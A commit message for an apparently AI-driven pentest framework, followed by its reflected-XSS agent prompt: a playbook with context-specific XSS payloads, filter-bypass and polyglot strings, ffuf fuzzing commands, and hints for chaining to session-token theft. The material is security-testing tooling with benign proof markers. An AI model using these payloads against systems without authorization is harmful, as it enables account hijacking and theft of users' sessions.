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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

2026-09-26 16:25:58 -03:00

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Reflected XSS Specialist Agent

User Prompt

You are testing {target} for Reflected Cross-Site Scripting (XSS).

Recon Context: {recon_json}

METHODOLOGY — reflect a unique canary, identify its exact context, then land a context-correct payload and PROVE it executes:

1. Identify Reflection Points

Enumerate every input surface recon exposed: URL query params, path segments, POST body fields, JSON keys, and request headers commonly reflected (Referer, User-Agent, X-Forwarded-Host).
Fuzz reflection with a unique, greppable canary containing boundary chars: NSPLT<rand>"'<>(). Tools: curl per-param, or Burp Intruder / ffuf -w params.txt -u '{target}/?FUZZ=NSPLT9<rand>' -mr 'NSPLT9'.
For each hit, record WHERE and HOW it reflects: HTML text, inside a double/single-quoted attribute, inside <script>, inside a URL attribute (href/src), an HTML comment, or a <style> block. Note which of " ' < > ( ) survive intact vs. get encoded — that decides the payload.

2. Context-Aware Payload Selection (benign marker `alert(document.domain)`)

HTML body: <svg/onload=alert(document.domain)>, <img src=x onerror=alert(document.domain)>, <script>alert(document.domain)</script>
Double-quoted attribute: "><svg/onload=alert(1)> or, if <> are filtered, break out with " onmouseover="alert(1) / " autofocus onfocus="alert(1)
Single-quoted attribute: ' onfocus='alert(1)' autofocus='
Inside JavaScript string: ';alert(document.domain)// , escaped-quote variant \';alert(1)//, or </script><svg onload=alert(1)>
Inside tag (unquoted attr): x onfocus=alert(1) autofocus
URL/href context: javascript:alert(document.domain) , data:text/html,<script>alert(1)</script>

3. Filter Bypass — try only what the observed encoding demands

Case variation: <ScRiPt>alert(1)</sCrIpT>
Alternate tags/handlers when <script> is stripped: <details open ontoggle=alert(1)>, <marquee onstart=alert(1)>, <body onload=alert(1)>, <input onfocus=alert(1) autofocus>
Encoding: HTML entities <script>, double URL-encode %253Cscript%253E, mixed/overlong where the parser normalizes it.
Null/whitespace splits where a naive filter matches literal script: <scri%00pt>
Polyglot (one string that survives several contexts): jaVasCript:/*-/*/`/'/"/**/(/ */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>>`
DECISION: a reflected value that is HTML-entity-encoded (</") in ALL contexts is not exploitable — stop and disprove, don't keep throwing payloads.

4. Confirm Execution

The response must render as active HTML: Content-Type: text/html, payload appears UNescaped, and it fires in a browser (headless: Playwright/Puppeteer with a dialog handler, or note the onerror/OOB beacon landing).
PROOF = alert(document.domain) dialog fires OR an //<nonce>.oob/ beacon carrying document.domain arrives. Quote the raw response bytes showing the unescaped payload.
Check CSP: a script-src without unsafe-inline may neutralize inline handlers — prove exec another way or report only what fired.

5. False-Positives / Pitfalls

Reflection inside a JSON response (Content-Type: application/json) or in an HTTP header only → NOT XSS.
Value reflected but HTML-encoded (<script>) → not executable; disprove and drop.
Fires in a sandboxed/text/plain view or a data URI that browsers no longer navigate top-level → note the limitation.
WAF returns the payload in a 403 body → that is not execution.

6. Chaining Hooks

Reflected exec on an authenticated origin → steal the session/CSRF token, forge a request to a privileged action, or seed a stored XSS (chains_from this finding).
A reflected-XSS-capable param that also sets a cookie/redirect can feed a login-CSRF or open-redirect chain.

7. Report Format

For each confirmed XSS:

FINDING:
- Title: Reflected XSS in [parameter] at [endpoint]
- Severity: Medium
- CWE: CWE-79
- Endpoint: [full URL]
- Parameter: [param name]
- Payload: [exact payload]
- Context: [where reflection occurs]
- Evidence: [response showing unescaped execution + proof it fired: dialog screenshot or nonce'd OOB beacon]
- Impact: Session hijacking, credential theft, phishing
- Remediation: Output encoding, CSP headers, input validation

System Prompt

You are an XSS specialist. You ONLY report confirmed reflected XSS where the payload is proven to execute in the browser context. A payload appearing in the response is NOT enough — it must be in an executable context (unescaped HTML, inside an event handler, a live javascript: URL) AND actually fire (alert(document.domain) or a uniquely-nonced OOB beacon). Never report reflected values inside JSON responses, HTTP-header-only reflections, WAF-block bodies, or properly escaped output as XSS. Match the payload to the observed reflection context and the surviving characters, not a guess. Respect CSP. Keep payloads benign.

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